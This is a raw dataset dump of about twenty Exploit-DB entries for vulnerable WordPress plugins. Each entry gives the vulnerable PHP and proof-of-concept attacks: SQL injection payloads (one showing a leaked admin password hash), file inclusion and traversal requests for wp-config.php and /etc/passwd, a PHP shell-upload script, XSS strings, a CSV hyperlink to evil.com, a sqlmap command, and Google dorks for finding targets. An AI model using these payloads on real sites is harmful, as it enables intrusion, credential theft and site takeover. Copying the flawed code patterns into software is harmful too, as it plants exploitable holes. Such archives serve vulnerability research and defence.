deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17688
Description: WordPress Plugin Allow PHP in Posts and Pages 2.0.0.RC1 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-18
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Allow PHP in Posts and Pages plugin <= 2.0.0.RC1 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/allow-php-in-posts-and-pages.zip
# Version: 2.0.0.RC1 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/allow-php-in-posts-and-pages/alter.php
 allowPHPNonce=-1&action=modify&function=-1&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
    if(!isset($_POST['allowPHPNonce'])){
        if ( !wp_verify_nonce( $_POST['allowPHPNonce'], plugin_basename(__FILE__) )) {header("location:".$refer);}
    }
    else{
        if(!isset($_POST['action']) || !defined ('ABSPATH')){header("location:".$refer);}
        if(isset($_POST['id'])){$id = $_POST['id'];}else{$id='0';}
        if(isset($_POST['function'])){$function = $_POST['function'];}else{$function="";}
        if(isset($_POST['name'])){$name = $_POST['name'];}else{$name="";}
        $action = $_POST['action'];

		#delete
        if($action == "delete"){

        ...

        elseif($action == "modify" && $function != ""){
            $sql = "update ".$wpdb->prefix."allowPHP_functions set function='".$function."', name='".$name."' where id = ".$id;
            $results = $wpdb->get_results($wpdb->prepare($sql));
Exploit-DB #17861
Description: WordPress Plugin AllWebMenus 1.1.3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2011-09-19
Author: Ben Schmidt

Exploit:
# Exploit Title: Allwebmenus Wordpress Menu Plugin Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/allwebmenus-wordpress-menu-plugin
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/allwebmenus-wordpress-menu-plugin/download/
# Version: 1.1.3 (tested)

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/allwebmenus-wordpress-menu-plugin/actions.php POST="abspath=RFI"

---
Vulnerable Code
---
/** Loads the WordPress Environment and Template */
if (!isset($_POST["abspath"]))
    die();
require_once(urldecode((string) $_POST["abspath"].'wp-blog-header.php'));
Exploit-DB #18407
Description: WordPress Plugin AllWebMenus < 1.1.9 Menu Plugin - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-01-22
Author: 6Scan

Exploit:
#Exploit Title: AllWebMenus WordPress Menu Plugin Arbitrary file upload
#Version:  < 1.1.9
#Date: 2012-01-19
#Author: 6Scan (http://6scan.com) security team
#Software Link: http://wordpress.org/extend/plugins/allwebmenus-wordpress-menu-plugin/
#Official fix: This advisory is released after the vendor was contacted and fixed the issue promptly.
#Description:  Unauthorized users could upload arbitrary files to the vulnerable server, potentially executing commands

AllWebMenus WordPress Menu Plugin
<1.1.8  Remote File upload

On versions < 1.1.8 , lack of checks in script actions.php allowed malicious user to upload any file to the vulnerable server.
Create a file (For example, Wordpress_security.php , with this content <?php echo '6Scan to the rescue';  ?> )
Compress it with zip to awm.zip

Use this form to upload the php file to the server

<form action="http://server/wp-content/plugins/allwebmenus-wordpress-menu-plugin/actions.php" method=post enctype="multipart/form-data">
<input type="file" name="awm1" size=100>
<input type="hidden" name="AWM_menu_id" value="2134234">
<input type="hidden" name="theaction" value="zip_update">
<input type=submit>
</form>


Version 1.1.8 also checks the source referrer, so you have to use scripting language (or spoof it in another way) to set the HTTP_REFERER to 
"wp-admin/options-general.php?page=allwebmenus-wordpress-menu-plugin/allwebmenus-wordpress-menu.php"
Exploit-DB #50838
Description: WordPress Plugin amministrazione-aperta 3.7.3 - Local File Read - Unauthenticated
Type: webapps
Platform: php
Date: 2022-03-23
Author: Hassan Khan Yusufzai

Exploit:
# Exploit Title: WordPress Plugin amministrazione-aperta 3.7.3 - Local File Read - Unauthenticated
# Google Dork: inurl:/wp-content/plugins/amministrazione-aperta/
# Date: 23-03-2022
# Exploit Author: Hassan Khan Yusufzai - Splint3r7
# Vendor Homepage: https://wordpress.org/plugins/amministrazione-aperta/
# Version: 3.7.3
# Tested on: Firefox

# Vulnerable File: dispatcher.php

# Vulnerable Code:

```
if ( isset($_GET['open']) ) {
    include(ABSPATH . 'wp-content/plugins/'.$_GET['open']);
} else {
    echo '
        <div id="welcome-panel" class="welcome-panel"
style="padding-bottom: 20px;">
                <div class="welcome-panel-column-container">';

    include_once( ABSPATH . WPINC . '/feed.php' );
```

# Proof of Concept:

localhost/wp-content/plugins/amministrazione-aperta/wpgov/dispatcher.php?open=[LFI]
Exploit-DB #17863
Description: WordPress Plugin Annonces 1.2.0.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2011-09-19
Author: Ben Schmidt

Exploit:
# Exploit Title: Annonces Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/annonces
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/annonces/download/
# Version: 1.2.0.0 (tested)

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/annonces/includes/lib/photo/uploadPhoto.php?abspath=RFI

---
Vulnerable Code
---
require_once($_GET['abspath'] . 'wp-load.php');
Exploit-DB #35204
Description: WordPress Plugin Another WordPress Classifieds Plugin - SQL Injection
Type: webapps
Platform: php
Date: 2014-11-10
Author: dill

Exploit:
Exploit Title: Another Wordpress Classifieds Plugin sql injection and Cross Site Scripting  
Author: dill 
download: https://wordpress.org/plugins/another-wordpress-classifieds-plugin/Client 
Webpage: http://awpcp.com/


SQL injection
Details:
The parameter “keywordphrase” is susceptible to a time-based blind SQL injection when doing a search for classifieds. 

Proof-of-Concept (PoC)
Request:
POST /?page_id=16592 HTTP/1.1
Host: vulnerable.server
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://vulnerable.server/?page_id=16592
Cookie: wp-settings-1=libraryContent%3Dbrowse%26editor%3Dhtml; wp-settings-time-1=[PII_REDACTED]; wp-settings-time-2=[PII_REDACTED]; PHPSESSID=uk871e0cssdnca8oesorbmg2b6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 371
a=dosearch&keywordphrase=k'||(SELECT 'ICab' FROM DUAL WHERE 6152=6152 AND SLEEP(5))||'&searchcategory=&searchname=&searchpricemin=1&searchpricemax=2&select-country0.[PII_REDACTED]=&textfield-country0.[PII_REDACTED]=country®ions[0][country]=country&select-state0.[PII_REDACTED]=&textfield-state0.[PII_REDACTED]=state®ions[0][state]=State&select-city0.[PII_REDACTED]=&textfield-city0.[PII_REDACTED]=city®ions[0][city]=city

Exploit through sqlmap: 
Copy post request to text file
sqlmap -r keywordphrase.txt -p keywordphrase --dbms=MySQL --level=5

-----------------
Place: POST
Parameter: keywordphrase
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: a=dosearch&keywordphrase=k'||(SELECT 'ICab' FROM DUAL WHERE 6152=6152 AND SLEEP(5))||'&searchcategory=&searchname=&searchpricemin=1&searchpricemax=2&select-country0.[PII_REDACTED]=&textfield-country0.[PII_REDACTED]=country®ions[0][country]=country&select-state0.[PII_REDACTED]=&textfield-state0.[PII_REDACTED]=State®ions[0][state]=State&select-city0.[PII_REDACTED]=&textfield-city0.[PII_REDACTED]=City®ions[0][city]=City

Resolution: Developer was contacted and has since corrected the issues. Update to the latest version of the plugin
Exploit-DB #40771
Description: WordPress Plugin Answer My Question 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2016-11-17
Author: Lenon Leite

Exploit:
# Exploit Title: Answer My Question 1.3 Plugin for WordPress – Sql Injection
# Date: 10/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/answer-my-question/
# Software Link: https://wordpress.org/plugins/answer-my-question/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.3
# Tested on: Windows 8.1

1 - Description

$_POST['id'] is not escaped. Url is accessible for any user.

http://lenonleite.com.br/en/blog/2016/11/11/answer-my-question-1-3-plugin-for-wordpress-sql-injection/

2 - Proof of Concept

<form method="post" action="http://localhost:1406/wp/wp-content/plugins/answer-my-question/modal.php">
    <input type="text" name="id" value="0 UNION SELECT 1,2,3,4,5,6,slug,term_group,name,10,11,12 FROM wp_terms WHERE term_id=1">
    <input type="submit" value="Send">
</form>

3. Solution


-- 
Atenciosamente

Lenon Leite
Exploit-DB #46618
Description: WordPress Plugin Anti-Malware Security and Brute-Force Firewall 4.18.63 - Local File Inclusion (PoC)
Type: webapps
Platform: php
Date: 2019-03-28
Author: Ali S. Ahmad

Exploit:
# Exploit Title: Wordpress Anti-Malware Security and Bruteforce Firewall - Local File Inclusion
# Google Dork: N/A
# Date: 03 / 26 / 2019
# Exploit Author: Ali S. Ahmad (S4R1N)
# Vendor Homepage: N/A
# Software Link: https://wordpress.org/plugins/gotmls/
# Version: (Version 4.18.63)
# Tested on: Debian GNU/Linux 9 (Docker)
# CVE : N/A
***********************************************************************
Discovered By: Ali S. Ahmad (S4R1N) 03 / 26 / 2019
***********************************************************************
A local file inclusion bug was discovered on the Wordpress Anti-Malware Security and Bruteforce Firewall (Version 4.18.63) plugin. 
This bug affects the file scan functionality of the plugin and can be exploited by any authenticated user (from subscriber to admin) simply by modifying the GOTMLS_scan= with a base64 encoded path to the file the attacker is trying to read. (example : GOTMLS_scan=L2V0Yy9wYXNzd2Q)
***********************************************************************
Tools used : 
Attacker OS : Fedora 29 
Victim OS : Debian GNU/Linux 9 (running on docker)
Manual Testing tool : Burp Repeater / Browser
***********************************************************************
Proof of Concept (PoC):

Step 1 - Log into Wordpress instance
Step 2 - Go to /wp-admin/admin-ajax.php?action=GOTMLS_scan&GOTMLS_mt=32fd564ad6974510e6bcd22815853f3d&mt=[PII_REDACTED].7669&page=GOTMLS-settings&GOTMLS_scan=<base64 encoded file path>

URL : the following should yeild the contents of /etc/passwd /wp-admin/admin-ajax.php?action=GOTMLS_scan&GOTMLS_mt=32fd564ad6974510e6bcd22815853f3d&mt=[PII_REDACTED].7669&page=GOTMLS-settings&GOTMLS_scan=L2V0Yy9wYXNzd2Q
Exploit-DB #50107
Description: WordPress Plugin Anti-Malware Security and Bruteforce Firewall 4.20.59 - Directory Traversal
Type: webapps
Platform: php
Date: 2021-07-06
Author: TheSmuggler

Exploit:
# Exploit Title: WordPress Plugin Anti-Malware Security and Bruteforce Firewall 4.20.59 - Directory Traversal
# Date: 05.07.2021
# Exploit Author: TheSmuggler
# Vendor Homepage: https://gotmls.net/
# Software Link: https://gotmls.net/downloads/
# Version: <= 4.20.72
# Tested on: Windows

import requests

print(requests.get("http://127.0.0.1/wp-admin/admin-ajax.php?action=duplicator_download&file=..\..\..\..\..\..\..\..\..\Windows\win.ini", headers={"User-Agent":"Chrome"}).text)
Exploit-DB #48204
Description: WordPress Plugin Appointment Booking Calendar 1.3.34 - CSV Injection
Type: webapps
Platform: php
Date: 2020-03-12
Author: Daniel Monzón

Exploit:
# Exploit Title: Wordpress Plugin Appointment Booking Calendar 1.3.34 - CSV Injection
# Google Dork: N/A
# Date: 2020-03-05
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: https://www.codepeople.net/
# Software Link: https://downloads.wordpress.org/plugin/appointment-booking-calendar.zip
# Version: 1.3.34
# Tested on: Windows 7 x86 SP1
# CVE : CVE-2020-9371, CVE-2020-9372

----Stored Cross-Site-Scripting-------------------

1) In http://127.0.0.1/wordpress/wp-admin/admin.php?page=cpabc_appointments.php
2) Calendar Name=<script>alert(0)</script> and Update
3) Click in any of the other tabs

----CSV injection---------------------------------

1) First we create a new calendar (Pages, add new, booking calendar) and Publish it (we can now log out) 
2) Then we go to the page and introduce data, and the payload:

New booking:

Name: IMPORTANT DATA
Description: http://evil.com/evil.php

New booking:

Name: test
Description: =HYPERLINK(K2;H2) 

This is the way it would work if i had a business registered and the payment was completed it can also be done by adding the new bookings with the same data from the admin panel

3) Then we go to Bookings List and export the CSV file
4) After that we open the file, and import data from an external file, using comma as separator
5) Hyperlink to malicious PHP file is inserted and the user clicks on it, user is redirected to a fake login page (for example)

Tested on Windows 7 Pro SP1 32-bit, Wordpress 5.3.2 and Excel 2016
Exploit-DB #41568
Description: WordPress Plugin Apptha Slider Gallery 1.0 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2017-03-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: WordPress Plugin Apptha Slider Gallery v1.0 - Arbitrary File Download
# Google Dork: N/A
# Date: 09.03.2017
# Vendor Homepage: https://www.apptha.com/
# Software: https://www.apptha.com/category/extension/Wordpress/apptha-slider-gallery
# Demo: http://www.apptha.com/demo/apptha-slider-gallery
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PLUGIN_PATH]/asgallDownload.php?imgname=../../../wp-load.php
# Etc..
# # # # #
Exploit-DB #41567
Description: WordPress Plugin Apptha Slider Gallery 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: WordPress Plugin Apptha Slider Gallery v1.0 - SQL Injection
# Google Dork: N/A
# Date: 09.03.2017
# Vendor Homepage: https://www.apptha.com/
# Software: https://www.apptha.com/category/extension/Wordpress/apptha-slider-gallery
# Demo: http://www.apptha.com/demo/apptha-slider-gallery
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/?albid=[SQL]
# For example;
# -3+/*!50000union*/+select+1,2,3,4,5,0x496873616e2053656e63616e[PII_REDACTED]2e696873616e2e6e6574,concat(user_login,0x3a,user_pass),8,9,10,11,12,13,14+from+pleasant_users--+-&pid=6
# admin:$P$BKL0XND.tfopqZH6S.QU.vhgjuVchx1
# Etc..
# # # # #
Exploit-DB #36559
Description: WordPress Plugin aspose-doc-exporter 1.0 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2015-03-30
Author: ACC3SS

Exploit:
|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|
 |-------------------------------------------------------------------------|
 | [+] Exploit Title:Wordpress aspose-doc-exporter Plugin Arbitrary File Download Vulnerability |
 | [+] Exploit Author: Ashiyane Digital Security Team |
 | [+] Vendor Homepage : https://wordpress.org/plugins/aspose-doc-exporter/developers/
 | [+] Download Link : https://downloads.wordpress.org/plugin/aspose-doc-exporter.zip
 | [+] Tested on: Windows,Linux |
 | [+] Date : 2015-03-28
 | [+] Discovered By : ACC3SS
 |-------------------------------------------------------------------------|
 | [+] Exploit: |
 | [+] Vulnerable file : http://localhost/wordpress/wp-content/plugins/aspose-doc-exporter/aspose_doc_exporter_download.php |
 | [+] Vulnerable Code :

<?php

$file = $_GET['file'];

$file_arr = explode('/',$file);

$file_name = $file_arr[count($file_arr) - 1];

header ("Content-type: octet/stream");

header ("Content-disposition: attachment; filename=".$file_name.";");

header("Content-Length: ".filesize($file));

readfile($file);

exit;

?>


 | [+] http://localhost/wordpress/wp-content/plugins/aspose-doc-exporter/aspose_doc_exporter_download.php?file=[File Address]
 | [+]
 | [+] Examples :  http://localhost/wordpress/wp-content/plugins/aspose-doc-exporter/aspose_doc_exporter_download.php?file=../../../wp-config.php
 |-------------------------------------------------------------------------|
 |*||*||*||*||*||*||*||*||*||*||*||*||*
Exploit-DB #18993
Description: WordPress Plugin Asset Manager 0.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-05
Author: Sammy FORGIT

Exploit:
##################################################
# Description : Wordpress Plugins - Asset Manager Shell Upload Vulnerability
# Version : 0.2
# Link : http://wordpress.org/extend/plugins/asset-manager/
# Plugins : http://downloads.wordpress.org/plugin/asset-manager.0.2.zip
# Date : 26-05-2012
# Google Dork : inurl:/wp-content/plugins/asset-manager/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/asset-manager/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/uploads/assets/temp/lo.php

lo.php
<?php
phpinfo();
?>
Exploit-DB #36135
Description: WordPress Plugin Auctions 1.8.8 - 'wpa_id' SQL Injection
Type: webapps
Platform: php
Date: 2011-09-14
Author: sherl0ck_

Exploit:
source: https://www.securityfocus.com/bid/49625/info

Auctions plug-in for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Owen Cutajar Auctions versions 1.8.8 and prior are vulnerable. 

http://www.example.com/wp-content/plugins/paid-downloads/download.php?download_key=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20
Exploit-DB #35258
Description: WordPress Plugin Audio 0.5.1 - 'showfile' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-23
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/45991/info

The Audio plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Audio plugin 0.5.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/audio/getid3/demos/demo.browse.php?showfile=%3Cscript%3Ealert(0)%3C/script%3E
Exploit-DB #17756
Description: WordPress Plugin Audio Gallery Playlist 0.12 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-30
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress wp audio gallery playlist plugin <= 0.12 SQL Injection Vulnerability
# Date: 2011-08-30
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-audio-gallery-playlist.0.12.zip
# Version: 0.12 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/wp-audio-gallery-playlist/playlist.php?post_gallery=-1' UNION ALL SELECT 1,2,3,4,5,database(),current_user(),8,9,10,11,12,13,14,15,16,17,18,version(),20,21,22,23--%20

---------------
Vulnerable code
---------------
$table_name = $wpdb->prefix . "posts";
...
if (isset($_GET['post_gallery']))
	$query = 'SELECT * FROM `'.$table_name.'` WHERE `post_parent` = \''.$_GET['post_gallery'].'\' AND  `post_mime_type` = \'audio/mpeg\' ORDER BY `menu_order` ASC';
Exploit-DB #38300
Description: WordPress Plugin Audio Player - 'playerID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-01-31
Author: hiphop

Exploit:
source: https://www.securityfocus.com/bid/57848/info

The Audio Player plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

Audio player versions prior to 2.0.4.6 are vulnerable.

http://www.example.com/wp-content/plugins/audio-player/assets/player.swf?playerID=a\â?))}catch(e){alert(1)}//
Exploit-DB #46055
Description: WordPress Plugin Audio Record 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2018-12-27
Author: Kaimi

Exploit:
# Exploit Title: WordPress Plugin Audio Record 1.0 - Arbitrary File Upload
# Date: 2018-12-24
# Software Link: https://wordpress.org/plugins/audio-record/
# Exploit Author: Kaimi
# Website: https://kaimi.io
# Version: 1.0
# Category: webapps

# Unrestricted file upload in record upload process allowing arbitrary extension.
# File: recorder.php
# Vulnerable code:
function save_record_callback() {

        foreach(array('audio') as $type) {
            if (isset($_FILES["${type}-blob"])) {

                $fileName = uniqid() . '_' .$_POST["${type}-filename"] ;
                $path_array  = wp_upload_dir();
                $path = str_replace('\\', '/', $path_array['path']);
                $uploadDirectory = $path . "/$fileName";
                if (!move_uploaded_file($_FILES["${type}-blob"]["tmp_name"], $uploadDirectory)) {
                        echo 000;
                    wp_die("problem moving uploaded file");
                }


# Exploitation example:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]501079851
...
----------------------------[PII_REDACTED][PII_REDACTED]501079851
Content-Disposition: form-data; name="audio-filename"

file.php
----------------------------[PII_REDACTED][PII_REDACTED]501079851
Content-Disposition: form-data; name="audio-blob"; filename="blob"
Content-Type: audio/wav

<?php phpinfo();
----------------------------[PII_REDACTED][PII_REDACTED]501079851
Content-Disposition: form-data; name="action"

save_record
----------------------------[PII_REDACTED][PII_REDACTED]501079851
Content-Disposition: form-data; name="course_id"

undefined
----------------------------[PII_REDACTED][PII_REDACTED]501079851
Content-Disposition: form-data; name="unit_id"

undefined
----------------------------[PII_REDACTED][PII_REDACTED]501079851--

# Uploaded file will be located at standard WordPress media upload directory (for ex: /wp-content/uploads/year/month/).
# If directory listing is disabled - file name can be guessed due to cryptographically insecure nature of uniqid() call.